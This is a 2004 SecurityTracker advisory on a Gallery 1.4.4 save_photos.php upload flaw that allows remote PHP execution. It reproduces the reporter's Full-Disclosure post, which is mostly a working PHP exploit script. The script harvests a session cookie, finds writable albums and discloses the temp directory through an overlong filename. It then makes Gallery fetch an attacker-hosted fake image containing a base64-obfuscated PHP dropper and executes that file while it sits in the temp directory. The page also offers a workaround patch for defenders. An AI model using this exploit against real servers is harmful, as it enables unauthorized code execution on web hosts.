SecurityTracker.com
    Home    |    View Topics    |    Search    |    Contact Us    |   

SecurityTracker
Archives


 


Category:   Application (Multimedia)  >   Gallery Vendors:   Gallery Project
Gallery Input Validation Error in 'save_photos.php' Lets Remote Users Upload and Execute Files
SecurityTracker Alert ID:  1010971
SecurityTracker URL:  http://securitytracker.com/id/1010971
CVE Reference:   GENERIC-MAP-NOMATCH   (Links to External Site)
Date:  Aug 18 2004
Impact:   Execution of arbitrary code via network, User access via network
Exploit Included:  Yes  
Version(s): 1.4.4
Description:   An input validation vulnerability was reported in Gallery in 'save_photos.php'. A remote authenticated user with upload privileges may be able to execute arbitrary commands on the target system.

aCiDBiTS reported that if the temporary directory is a web-accessible directory, then a remote authenticated user with upload privileges can upload a file using the 'URL method' to create an arbitrary PHP file on the target system. The file can then be executed via the web server.

The report indicates that when the file is subsequently downloaded, the copy in the temporary directory can be accessed for up to 30 seconds.

It is also reported that a remote authenticated user with upload privileges can send a filename that is longer than permitted by the target system to determine the location of the temporary directory.

Impact:   A remote authenticated user with upload privileges may be able to execute arbitrary PHP commands on the target system with the privileges of the target web service.
Solution:   No vendor solution was available at the time of this entry.

The author of the report has provided the following unofficial workaround:

save_photos.php, line 154:

$file = $gallery->app->tmpDir . "/photo.$name";

Insert:

if(strlen($name)>20) $name=substr($name,strlen($name)-20);
if (!acceptableFormat(strtolower(ereg_replace(".*\.([^\.]*)$", "\\1",
$name)))) die( "\nInvalid file type!\n");
$file = $gallery->app->tmpDir . "/photo.$name";

Vendor URL:  gallery.sourceforge.net/ (Links to External Site)
Cause:   Access control error, Input validation error
Underlying OS:  Linux (Any), UNIX (Any)

Message History:   None.


 Source Message Contents

Subject:  [Full-Disclosure] Gallery 1.4.4 save_photos.php PHP Insertion Proof of Concept


#!/usr/bin/php

<?

/*

	Gallery 1.4.4 save_photos.php PHP Insertion Proof of Concept
	By aCiDBiTS          acidbits@hotmail.com          17-August-2004


++  Vulnerability description  ++

	Gallery (http://gallery.sf.net/) is a PHP image gallery script. Having 
permission to upload photos in some album and the temporal directory is in 
the webtree, then it is possible to create a file with any extension and 
content. Tested in v 1.4.4, maybe older versions also vulnerable.

	When uploading photos with the "URL method", they are saved in the temporal 
directory before processing them. Any file with any content is accepted. 
After downloading, the file is processed (discarded if it is not an image) 
and deleted from the temporal directory.

	When the script downloads the file to the temporal directory there's the 
function set_time_limit() that by default waits 30 seconds to abort the 
process if no more data is recieved and the transfer connection isn't 
closed. If the temporal directory is in the webtree, during this 30 seconds 
timeout we can access to the file, executing it.

	There's also a "directory disclosure" that I've used to determine if the 
temporal directory is in gallery's webtree.  It consists in sending a longer 
filename than permited by the filesystem for the image upload name.


++  How this Proof of Concept works  ++

	1. You need to have a fake image script (like galfakeimg.php) in a web 
accessible by gallery to download it.
	2. The script searches for an Album with "everybody" permission to add 
photos.
	3. Checks if the temporal directory is in the webtree.
	4. Tell gallery to download the fake_photo that contains the script.
	5. After XEC_TIMEOUT seconds waiting, it executes the temp file and 
test.php is created.

	Usage (in my debian box):
	php4 -q ./gal_poc.php "http://192.168.1.22/galfakeimg.php" 
"http://127.0.0.1/gallery"

	NOTE: If there are no albums with public permissions to add photos and you 
have a valid login, modify the script adding your login cookie.


++  Workaround  ++

	save_photos.php, line 154:

		$file = $gallery->app->tmpDir . "/photo.$name";

		Insert:

		if(strlen($name)>20) $name=substr($name,strlen($name)-20);
		if (!acceptableFormat(strtolower(ereg_replace(".*\.([^\.]*)$", "\\1", 
$name)))) die( "\nInvalid file type!\n");
		$file = $gallery->app->tmpDir . "/photo.$name";


++  galfakeimg.php  ++

	This is the content of galfakeimg.php. It has to be placed in a remote web 
directory accessible by the gallery script.

---8-<-------------------------8-<-------------------------8<---
<?php
echo "<?php 
\$f=fopen(trim(base64_decode(dGVzdC5waHAg)),w);fputs(\$f,trim(base64_decode(PD8gZWNobyAnPHByZT4gXCAgLyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCAgLzxicj4gKE9vKSAgVGhpcyBnYWxsZXJ5IGlzIHZ1bG5lcmFibGUgISAgKG9PKTxicj4vL3x8XFxcXCAgICAgICAgICAgICAgICA
gICAgICAgICAgICAgIC8vfHxcXFxcIDwvcHJlPic7Pz4K)));fclose(\$f); 
?>\n";
for($x=0;$x<65535;$x++) echo " \n";
while(1){}
?>
---8-<-------------------------8-<-------------------------8<---

*/


define( XEC_TIMEOUT, 5);

echo "+--------------------------------------------------------------+\n| 
Gallery 1.4.4 save_photos.php PHP Insertion Proof of Concept |\n| By 
aCiDBiTS        acidbits@hotmail.com       17-August-2004 
|\n+--------------------------------------------------------------+\n\n";


if($argc<3)	die("Usage: ".$argv[0]." URL_to_fake_photo URL_to_Gallery\n\n");
$host=$argv[2];
if(substr($host,strlen($host)-1,1)!='/') $host.='/';
$fakephoto=$argv[1];

echo "[+] Obtaining PHPSESSID ... \n     ";
$webc=get_web($host."view_album.php?set_albumName=".$album[0], 1, '');
$temp=explode("PHPSESSID=",$webc);
$temp1=explode(";",$temp[1]);
$phps="PHPSESSID=".$temp1[0].";";
echo $phps;

echo "\n\n[+] Getting album names ...\n     ";
$webc=get_web($host, 0, $phps);
$temp=explode("set_albumName=",$webc);
$nalbum=0;
while($temp[($nalbum*2)+1]){
	$temp1= explode( "\"", $temp[($nalbum*2)+1]);
	$album[$nalbum]=$temp1[0];
	echo $album[$nalbum]." ";
	$nalbum++;
}
if(!$nalbum) die(" Failed!\n\n");


echo "\n\n[+] Searching an album with permissions to add photos ...";
$walbum='';
foreach( $album as $temp){
	$webc=get_web($host."view_album.php?set_albumName=".$temp, 0, $phps);
	$webc=send_post( $host."save_photos.php", 
urlencode("urls[]=".$host."&setCaption=1"), $phps);
	echo "\n     ".$temp." -> ";
	if( ereg( "You are no allowed to perform this action", $webc) )
		echo "No";
	else {
		echo "Yes";
		$walbum=$temp;
	}
}
if( !$walbum ) die ("\n\nFailed! No permissions in any album.\n\n");
echo "\n     Using: ".$walbum;

echo "\n\n[+] Getting gallery & temporal directory paths ...";
$webc=get_web($host."view_album.php?set_albumName=".$walbum, 0, $phps);
$temp='/';
for($x=0;$x<256;$x++) $temp.='a';
$webc=send_post( $host."save_photos.php", 
urlencode("urls[]")."=".urlencode($fakephoto.$temp)."&setCaption=1", $phps);
$temp=explode("fopen(\"",$webc);
$temp1=explode("photo",$temp[1]);
$tmpd=$temp1[0];
echo "\n     Temporal directory: ".$tmpd;
$temp=explode("resource in <b>",$webc);
$temp1=explode("save_photo",$temp[1]);
$scrptd=$temp1[0];
echo "\n     Gallery directory: ".$scrptd;

if( !ereg( $scrptd, $tmpd) ) die ("\n\nTemporal directory is out of 
gallery's webtree. Can't continue.\n\n" );

$temp=explode("/",$fakephoto);
end($temp);
$sname=current($temp);
echo "\n\n[+] Uploading $sname and executing it ...";
$webc=send_post( $host."save_photos.php", 
urlencode("urls[]")."=".urlencode($fakephoto)."&setCaption=1", $phps);
//Maybe you'll need to wait some more seconds, check XEC_TIMEOUT
$webc=get_web($host.str_replace($scrptd,'',$tmpd)."photo.".$sname, 0, 
$phps);

echo "\n\n    Now go to: ".$host.str_replace($scrptd,'',$tmpd)."test.php";

die("\n\n     \  /         \  /\n     (Oo)  Done!  (oO)\n    //||\\\\       
//||\\\\\n\n");


function get_web($url, $h, $cookie)
{
	$ch=curl_init();
	curl_setopt ($ch, CURLOPT_URL, $url);
	curl_setopt ($ch, CURLOPT_HEADER, $h);
	curl_setopt ($ch, CURLOPT_RETURNTRANSFER,1);
	curl_setopt ($ch, CURLOPT_COOKIE, $cookie);
	$data=curl_exec ($ch);
	curl_close ($ch);
	return $data;
}

function send_post($url,$data, $cookie)
{
	$ch=curl_init();
	curl_setopt ($ch, CURLOPT_URL, $url );
	curl_setopt ($ch, CURLOPT_HEADER, 0);
	curl_setopt ($ch, CURLOPT_RETURNTRANSFER,1);
	curl_setopt ($ch, CURLOPT_POST, 1);
	curl_setopt ($ch, CURLOPT_POSTFIELDS, $data );
	curl_setopt ($ch, CURLOPT_COOKIE, $cookie);
	curl_setopt ($ch, CURLOPT_TIMEOUT, XEC_TIMEOUT) ;
	$data=curl_exec ($ch);
	curl_close ($ch);
	return $data;
}

/*             \    /
                (Oo)
               //||\\    */

?>

_________________________________________________________________
STOP MORE SPAM with the new MSN 8 and get 2 months FREE* 
http://join.msn.com/?page=features/junkmail

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
 


Go to the Top of This SecurityTracker Archive Page





Home   |    View Topics   |    Search   |    Contact Us

This web site uses cookies for web analytics. Learn More

Copyright 2019, SecurityGlobal.net LLC